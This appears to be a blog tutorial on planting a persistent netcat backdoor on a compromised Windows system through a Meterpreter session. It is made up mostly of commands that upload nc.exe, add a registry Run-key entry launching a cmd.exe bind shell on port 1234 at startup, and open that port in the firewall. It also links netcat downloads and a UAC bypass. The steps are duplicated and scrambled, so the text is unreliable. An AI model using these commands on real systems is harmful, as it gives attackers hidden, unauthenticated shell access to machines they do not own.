Persistent NETCAT Backdoor - Registry Run Keys
The Windows Registry Is A Magical Place Where, With Just A Few Keystrokes, You Can Render A System Virtually Unusable. So, Be Very Careful On This Next Section As "Mistakes Can Be Painful".
We Will Be Installing A Netcat Backdoor.
We Will Be Installing A Netcat Backdoor.
Note: You Can "Download Netcat" From Here:-
https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
or https://mega.nz/file/3VQwlBbI#6jl1aApYju0lzAuadmOiQArSDUrb3x5rGu-rpjshagQ
This Includes Changes To The System Registry And Firewall.
Step 2:- First, We Must Upload A Copy Of Netcat To The "Remote System".
upload /root/Downloads/netcat/nc.exe
Step 3:- Afterwards, We Work With The Registry To Have Netcat Execute On Start Up And Listen On Port 1234. We Do This By "Editing The Key".
Step 4:- Write Below Command.
reg setval -k HKEY_LOCAL_MACHINE\\SOFTWARE\\microsoft\\windows\\currentversion -v nc -d 'C:\windows\system32\nc.exe -Ldp 1234 -e cmd.exe'
Step 5:- Write Below Command.
Next, We Need To Alter The System To Allow Remote Connections Through The Firewall To Our Netcat Backdoor.
execute -f cmd -i
Step 7:- Write Below Command.
netsh firewall show opmode

Step 8:- We Open Up Port 1234 In The "Firewall And Double-Check" That It Was Set Properly.
netsh firewall add portopening TCP 1234 "Service Firewall" ENABLE ALL
netsh firewall show portopening
So With That Being Completed, We Will Reboot The Remote System And Test Out The Netcat Shell.
Wonderful! In A Real World Situation, We Would Not Be Using Such A Simple Backdoor As This, With No Authentication Or Encryption, However The Principles Of This Process Remain The Same For Other Changes To The System, And Other Sorts Of Programs One Might Want To Execute On Start Up.
or https://mega.nz/file/3VQwlBbI#6jl1aApYju0lzAuadmOiQArSDUrb3x5rGu-rpjshagQ
This Includes Changes To The System Registry And Firewall.
Step 1:- Create Payload Get "System Level Privilege".
Note: If You Don't Know Then Go To This Link And Do Same Step Of "UAC Bypass" To Get System Level Privilege.
upload /root/Downloads/netcat/nc.exe
Step 3:- Afterwards, We Work With The Registry To Have Netcat Execute On Start Up And Listen On Port 1234. We Do This By "Editing The Key".
‘HKEY_LOCAL_MACHINE\software\microsoft\windowscurrentversion’.
reg enumkey -k HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion
Step 4:- Write Below Command.
reg setval -k HKEY_LOCAL_MACHINE\\SOFTWARE\\microsoft\\windows\\currentversion -v nc -d 'C:\windows\system32\nc.exe -Ldp 1234 -e cmd.exe'
Step 5:- Write Below Command.
reg queryval -k HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion -v nc
Next, We Need To Alter The System To Allow Remote Connections Through The Firewall To Our Netcat Backdoor.
We Open Up An Interactive Command Prompt And Use The Netsh Command To Make The Changes As It Is Far Less Error-Prone Than Altering The Registry Directly.
Plus, The Process Shown Should Work Across More Versions Of Windows, As Registry Locations And Functions Are Highly Version And Patch Level Dependent.
Step 6:- Write Below Command.
Step 6:- Write Below Command.
execute -f cmd -i
Step 7:- Write Below Command.
netsh firewall show opmode

Step 8:- We Open Up Port 1234 In The "Firewall And Double-Check" That It Was Set Properly.
netsh firewall add portopening TCP 1234 "Service Firewall" ENABLE ALL
netsh firewall show portopening
So With That Being Completed, We Will Reboot The Remote System And Test Out The Netcat Shell.
Step 10:- Write Below Command.
dir
Wonderful! In A Real World Situation, We Would Not Be Using Such A Simple Backdoor As This, With No Authentication Or Encryption, However The Principles Of This Process Remain The Same For Other Changes To The System, And Other Sorts Of Programs One Might Want To Execute On Start Up.








Comments
Post a Comment